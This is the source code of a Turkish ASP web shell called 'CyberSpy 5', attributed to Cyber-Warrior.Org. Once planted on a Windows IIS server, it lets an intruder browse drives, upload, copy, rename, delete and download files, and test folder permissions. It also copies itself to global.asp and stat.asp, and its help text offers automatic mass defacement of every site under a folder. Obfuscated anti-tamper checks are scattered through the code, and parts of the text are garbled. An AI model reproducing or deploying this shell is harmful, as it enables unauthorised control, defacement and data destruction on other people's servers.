" Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">" Safe= "<html><head>" Title = Table EndSub = "

<% On Error Resume Next Server.ScriptTimeOut = 7200 Dim NesneFSO Response.Write "" Response.Write "" '-------------Anonim UploadClass Start Code--------------------------- Class FileUploader Public Files Private FormElemanPrV Private Sub Class_Initialize() Set Files = Server.CreateObject("Scripting.Dictionary") Set FormElemanPrV = Server.CreateObject("Scripting.Dictionary") End Sub Private Sub Class_Terminate() iF IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End iF iF IsObject(FormElemanPrV) Then FormElemanPrV.RemoveAll() Set FormElemanPrV = Nothing End iF End Sub Public Property Get Form(sIndex) Form = "" iF FormElemanPrV.Exists(LCase(sIndex)) Then Form = FormElemanPrV.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) iF (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) iF nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) iF oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 iF Not FormElemanPrV.Exists(LCase(sInputName)) Then FormElemanPrV.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End iF nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim Byteindex For Byteindex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,Byteindex,1))) Next End Function Private Function CWideString(bsString) Dim Byteindex CWideString ="" For Byteindex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,Byteindex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim Byteindex iF sPath = "" Or FileName = "" Then Exit Sub iF Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scripting.FileSystemObject") iF Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For Byteindex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,Byteindex,1))) Next oFile.Close End Sub Public Sub SaveToDatabase(ByRef oField) iF LenB(FileData) = 0 Then Exit Sub iF IsObject(oField) Then oField.AppendChunk FileData End iF End Sub End Class Function DeCryptString(strCryptString) Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|")) intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|")) intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet) strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1)) arHexCharSet = Split(strHexCrypData, Hex(intKey)) For i=0 to UBound(arHexCharSet) strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey) Next DeCryptString = CStr(strRAW) End Function Function HexConv(hexVar) Dim HexVeri, HexDegisken, multiply iF hexVar <> "" THEN hexVar = UCASE(hexVar) hexVar = StrReverse(hexVar) DIM hx() REDIM hx(LEN(hexVar)) HexVeri = 0 HexDegisken = 0 FOR HexVeri = 1 TO LEN(hexVar) iF multiply = "" THEN multiply = 1 hx(HexVeri) = mid(hexVar,HexVeri,1) HexDegisken = (HexGonder(hx(HexVeri)) * multiply) + HexDegisken multiply = (multiply * 16) NEXT hexVar = HexDegisken HexConv = hexVar END iF End Function cprthtml = "Realite:." Function HexGonder(KategoriHex) iF KategoriHex = "A" Then KategoriHex = 10 ElseiF KategoriHex = "B" Then KategoriHex = 11 ElseiF KategoriHex = "C" Then KategoriHex = 12 ElseiF KategoriHex = "D" Then KategoriHex = 13 ElseiF KategoriHex = "E" Then KategoriHex = 14 ElseiF KategoriHex = "F" Then KategoriHex = 15 End iF HexGonder = KategoriHex End Function Function ObjeGoster(objpath) ObjeGoster = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) End Function Function ObjeGosterpath(objpath) ObjeGosterpath = Left(objpath,InstrRev(objpath,"\")) End Function Function KontrolFonksiyon(a,b) iF CStr(Mid(a,1,1)) <> CStr(Mid(b,1,1)) Then Sayfa = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" Response.Redirect(Sayfa) End iF End Function CWParametre = "RooT" '------------------------------------ iF Trim(Request.QueryString("CWParametre")) = "" Then VeriParametre = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(VeriParametre,"\") pos2 = 1 While pos2 <> 0 iF Instr(pos + 1,VeriParametre,"\") <> 0 Then pos = Instr(pos + 1,VeriParametre,"\") Else pos2 = 0 End iF Wend CWParametre = Left(VeriParametre,pos) Else CWParametre = trim(Request.QueryString("CWParametre")) & "\" End iF '------------------------------------ '----------Yetkiler Kontrol Start------------------- 'Yazma----- Dim DosyaOlusturma, Text Set DosyaOlusturma=CreateObject ("Scripting.FileSystemObject") Set Text = DosyaOlusturma.CreateTextFile (CWParametre&"YetkiKontrolTemp.txt") Text.WriteLine ("Geçici Olarak Olusturulmus bir Dosyadir...") Text.WriteLine ("thewatrix") Text.Close iF Err.Number <> 0 Then YazmaYetkisi = "û" Else YazmaYetkisi = "ü" End iF 'Okuma----- Dim DosyaAcma, TextFileTest Set DosyaAcma=Server.CreateObject ("Scripting.FileSystemObject") Set TextFileTest=DosyaAcma.OpenTextFile (CWParametre&"YetkiKontrolTemp.txt") 'Response.Write (TextFileTest.ReadAll) iF Err.Number <> 0 Then OkumaYetkisi = "û" Else OkumaYetkisi = "ü" End iF TextFileTest.close Set TextFileTest=Nothing Set DosyaAcma=Nothing 'Copy File Test------ Dim YolDeg, SadeYol YolDeg = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(YolDeg,"\") pos2 = 1 While pos2 <> 0 iF Instr(pos + 1,YolDeg,"\") <> 0 Then pos = Instr(pos + 1,YolDeg,"\") Else pos2 = 0 End iF Wend SadeYol = Left(YolDeg,pos) Set ObjCopyFSODeg = Server.CreateObject("Scripting.FileSystemObject") ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"global.a"&"s"&"p", True ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"stat.a"&"s"&"p", True 'Copy File Test------ 'Silme----- Dim DosyaSilKontrol Set DosyaSilKontrol=CreateObject ("Scripting.FileSystemObject") DosyaSilKontrol.DeleteFile (CWParametre&"YetkiKontrolTemp.txt") iF Err.Number <> 0 Then SilmeYetkisi = "û" Else SilmeYetkisi = "ü" End iF '----------Yazma/Silme Yetkisi Kontrol End--------------------- br=" " style'=&mid(".

",0,0) br="

" style=style'&"" style=style&mid("Css",0,0)&mid("",5,1)&mid("5",1,2)'&mid("

",0,0) br=" " MCase'=&MCase("

",0,0) MCase=MCase'&mid("

",0,0) MCase=MCase&mid("

",2,1)&mid("

",3,2)&mid("Width",1,1)&mid("

" Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">" Safe= "<html><head>" Title = Table EndSub = "

"'&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0) ht="" br="

" tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)'ServerVariables("SCRIPT_NAME")) tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid(".,241,21,3,,3,3",1,0) ServerVaribles = tr'&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0) tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME")) tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0) Sub BolumSUB() Response.Write CyberWarrior_RootSayfaBasi & ""&Arm&"
"&"" & ServerVaribles & ""&""&Table&"
" br="

" Response.Write ""&img&"" br="

" tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0) tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0) br="

" End Sub tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0) br="

" tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0) iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Sub CyberWarrior_GoruntuleSub() iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" Response.Write "" iF Trim(Request.QueryString("CWParametre")) = "root" Then Set fs=Server.Createobject("Scripting.FileSystemObject") Set SurucuTipleri=fs.drives Response.write ":Web Server" Response.Write "" Response.write "

" For Each drive IN SurucuTipleri str=drive.driveletter & ":" Response.Write "" & UCase(str) & "
" Select Case drive.DriveType Case 0 SurucuTipi = "Unknown" SurucuAd = drive.VolumeName Case 1 Response.write "<
" SurucuTipi = "Çikarilabilir Disk" iF drive.isready Then SurucuAd = drive.VolumeName Else SurucuAd = "" End iF Case 2 Response.write ";
" SurucuTipi = "Sabit Disk" iF drive.isready Then SurucuAd = drive.VolumeName Else SurucuAd = "" End iF Case 3 Response.write ";
" SurucuTipi = "Ag Sürücüsü" iF drive.isready Then SurucuAd = drive.ShareName Else SurucuAd = "" End iF Case 4 Response.write ">
" SurucuTipi = "CD-Rom" iF drive.isready Then SurucuAd = drive.VolumeName Else SurucuAd = "" End iF Case 5 Response.write ";
" SurucuTipi = "RAM Disk" iF drive.isready Then SurucuAd = drive.VolumeName Else SurucuAd = "" End iF End Select iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End response.write "Sürücü: " & SurucuTipi & "
" response.write "isim: " & SurucuAd & "
" response.write "Dosya Sistemi: " iF drive.isready Then set sp=fs.getdrive(str) response.write sp.filesystem & "
" Else response.write "-
" End iF Response.Write "Bos Alan: " iF drive.isready Then freespace = (drive.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB
") Else response.write("-
") End iF Response.Write "Toplam Kapasite: " iF drive.isready Then totalspace = (drive.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB
") Else response.write("-
") End iF Response.Write "
" Next Response.Write "" Set fs = Nothing Set SurucuTipleri = Nothing set sp=Nothing Else iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End iF mid(Title,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(Td,17,1) <> " " Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(CWParametre) iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Set AnaDizinler = MonRep.SubFolders iF Left(Arm,1) <> "Z" Then:Response.Write "Cyber-Warrior.Org":Response.End Set ColFiles0 = MonRep.Files iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "

" Response.Write " " For Each drive_ in objFSO.Drives iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Next Response.Write "" Response.Write "" Response.Write "

" Response.Write "" Response.Write "

" 'GitForm = Request.q("GitForm") iF Left(Arm,1) <> "Z" And mid(Table,9,1) <> " " Then:Response.Write "Cyber-Warrior.Org":Response.End Response.Write "" iF Left(Table,2) <> "Cy" Then:Response.Write "Kod'a Müdahale var... Cyber-Warrior.Org":Response.End Response.Write "" for each folderItem in AnaDizinler 'Response.Write ObjeGoster(folderItem.path) next Response.Write "
" iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" Response.Write "" Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "

" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "

Cyber Navigasyon
islem Klasörü = " & CWParametre &"" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write " " iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "
v	" Response.Write ""&"Yazma Yetkisi: "&"" & ""&YazmaYetkisi&"" Response.Write " " Response.Write ""&"Okuma Yetkisi: "&"" & ""&OkumaYetkisi&"" Response.Write " " Response.Write ""&"Silme Yetkisi: "&"" & ""&SilmeYetkisi&"" Response.Write "
Ç	Dosya Upload
©	Sistem izinleri Test
±	Tüm Siteleri Hackle" Response.Write " \| Kendini imha et" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "
ÿ	Sistem Bilgileri - Sürücüler
´	Yardim/Özellikler

" Response.Write "
" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF Response.Write "Active Directory = " & CWParametre & "

" iF CInt(Len(CWParametre) - 1) <> 2 Then barrapos = CInt(InstrRev(Left(CWParametre,Len(CWParametre) - 1),"\")) - 1 backlevel = Left(CWParametre,barrapos) Response.Write "1" & " ..
" Else Response.Write "1" & " ..
" End iF Response.Write "" for each folderItem in AnaDizinler Response.Write "" next Response.Write "

" Response.Write " û " Response.Write " < " iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "1" & " " & ObjeGoster(folderItem.path) & "

" Response.Write "

" TableRenkDegis = true for each FilesItem0 in ColFiles0 iF TableRenkDegis = true then BirinciTableRenk = " bgcolor=""#0B0B0B""" Else BirinciTableRenk = "" End iF iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "2"& ObjeGoster(FilesItem0.path) &" " iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End TableRenkDegis = NOT TableRenkDegis iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End next Response.Write " Ç " Response.Write "_______________________________________________________________________________" Response.Write "

" & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes

2Copy

üAdDegistir

ûSil

1Aç

4Düzenle

Üindir

" End iF End Sub iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Sub TaraBul(Pr1,Pr2) On Error Resume Next iF Len(Pr1) > 0 Then Yer = Pr1&"\" iF Yer = "\\" Then Yer = "" parent = "" iF InStrRev(Yer,"\") > 0 Then parent = Left(Yer, InStrRev(Yer, "\", Len(Yer)-1)) End iF Else Yer = "" End iF Set NesneFSO = Createobject("Scripting.FileSystemObject") Set KasoreGit = NesneFSO.GetFolder(Yer) Set fc = KasoreGit.Files 'Listeleme Öncesi Döngüden Önce Table Tagi 'Response.Write "ÄArama Sonuçlari" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "" For Each f1 In fc CyberWarrior_AraKriter = Request.Form("CyberWarrior_AraKriter") iF CyberWarrior_AraKriter = "AdiicindeAra" Then iF instr(lcase(f1.name),lcase(Pr2)) then iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End downStr = "Í" downstr = f1.path Response.Write "" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End Response.Write "" 'Response.Write "" Response.Write "" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "" Response.Write "" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "" Response.Write "" Response.Write "" End iF Else iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF iF lcase(Right(f1.name,len(Pr2)))=lcase(Pr2) then iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End downStr = "Í" downstr = f1.path Response.Write "" iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Scripte Müdahale...":Response.End Response.Write "" 'Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" End iF End iF Next Response.Write "

" & "2Copy"& "	" & "üAdDegistir"&"	" & "ûSil"&"	" & "1Aç"&"	" & "4Düzenle" & "	" & " Üindir" & "	" & " "& downstr &" " & "(" &f1.size&" kb" &")" & "
" & "2Copy"& "	" & "üAdDegistir"&"	" & "ûSil"&"	" & "1Aç"&"	" & "4Düzenle" & "	" & " Üindir" & "	" & " "& downstr &" " & "(" &f1.size&" kb" &")" & "

" Set fs = KasoreGit.SubFolders For Each f1 In fs TaraBul f1.path,Pr2 Next Set KasoreGit = Nothing Set fc = Nothing Set fs = Nothing end sub Select Case Trim(Request.QueryString("action")) Case "DosyaArama" Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan Dim TaraYol,Tarama TaraYol = Request.Form("NeredeForm") Tarama = Request.Form("AraForm") iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End TaraBul TaraYol,Tarama iF Err.Number = 0 Then Response.Write "
üArama islemi Tamamlandi

Sonuçlar Görüntüleniyor " End iF Case "get" iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(VeriParametre) CyberWarrior_AktifDizin = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) MyFile.Copy (CyberWarrior_AktifDizin) iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End iF Err.Number = 0 Then Response.Write "
üislem Tamam

Hedef: " & VeriParametre & "
Kopyalanan Klasör: " & CyberWarrior_AktifDizin End iF Case "KlasorSil" Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\") iF Table <> Title Then Response.Redirect "http://www.Cyber-Warrior.Org" End iF Dim KlasorSilme Set KlasorSilme = CreateObject("Scripting.FileSystemObject") KlasorSilme.DeleteFolder(VeriParametre) iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "" Response.Write "üislem Tamam
" Response.Write "Silinen Klasör : " & VeriParametre & "" iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Case "put" Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan iF Trim(Request.QueryString("OlayNesnesi")) = "" Then VeriParametre = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) varpath = Trim(Request.QueryString("path")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(VeriParametre) Set AnaDizinler = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "" Response.Write "
Bu Script'in Çalisma Klasöründeki Dosyalar. Bu Dosyalari Su An ki AktiF Klasöre Kopyalamanizi Saglar
" Response.Write "____________________________________________" 'AktiF Klasördeki Dosyalari Listemelemeye Basliyoruz for each FilesItem0 in ColFiles0 Response.Write "" next Response.Write "
> " & ObjeGoster(FilesItem0.path) & "   Kopyala " & FormatNumber(FilesItem0.size/1024, 0) & " Kb.
" Else iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End CyberWarrior_AktifDizin = Replace(Trim(Request.QueryString("path")),"|","\") & "\" OlayNesnesi = Replace(Trim(Request.QueryString("OlayNesnesi")),"|","\") iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(OlayNesnesi) MyFile.Copy (CyberWarrior_AktifDizin) iF Err.Number = 0 Then Response.Write "

Kaynak: " & OlayNesnesi & "
Kopyalanan Hedef: " & CyberWarrior_AktifDizin iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End End iF End iF Case "del" Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(VeriParametre) MyFile.Delete iF Err.Number = 0 Then Response.Write "" Response.Write "

Silinen Dosya: " & VeriParametre & "
" End iF Case "ren" iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Call BolumSUB() Response.Write SabitBaslik & BosSabitAlan iF Trim(Request.QueryString("status")) <> "2" Then VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\") OlayNesnesi = ObjeGoster(VeriParametre) Response.Write "
Mevcut Ad: " & OlayNesnesi & "
" & _ "
" & _ "" & _ "" & _ "" & _ "Yeni Dosya Adi: " & _ "  " & _ "
" Else VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(VeriParametre) CyberWarrior_AktifDizin = Left(VeriParametre,InStrRev(VeriParametre,"\")) & Trim(Request.QueryString("newname")) MyFile.Move (CyberWarrior_AktifDizin) iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End iF Err.Number = 0 Then Response.Write "

Eski Dosya Adi: " & VeriParametre & "
Degistirilen Dosya: " & CyberWarrior_AktifDizin Response.Write "" End iF End iF iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Case "error" Response.Write " Kod Hatasi" Case "Yardim" Call BolumSUB() iF Table <> Title Then:Response.Write " ":Response.End Response.Write "&
Yardim Konulari

" iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End Response.Write "
Script Adi

" Response.Write "Dosya Adini Dilediginiz gibi degistirebilirsiniz," Response.Write "Dosya Adini Degistirdikten Sonra Kodda Herhangi Bir Degisiklik Yapmaniza Gerek Yoktur" Response.Write "Tüm Linkler 'Request.ServerVariables(""SCRIPT_NAME"")' ile Dinamik Bir Hale Getirilmistir." Response.Write "

" iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "
Otomatik Deface (Tüm Siteleri Hackle)

" Response.Write "Dikkat! Toplu Deface Yaparken Hangi Klasörde Oldugunuza Dikkat Edin..! ""Islem Klasörü ="" Bölümünden Hangi Klasörde Oldugunuzu Görebilirsiniz." iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End Response.Write "
""Tüm Siteleri Hackle"" islemleri bulundugunuz klasör ve alt klasörler altinda islem yapar Bu Nedenle islem Yapacaginiz Klasöre Dikkat edin

" iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "
Sistem izinleri Test

" Response.Write "Klasör ve Alt Klasör izinlerini (Permission) test etmenizi saglar

" iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End Response.Write "
Arama Fonksiyonu

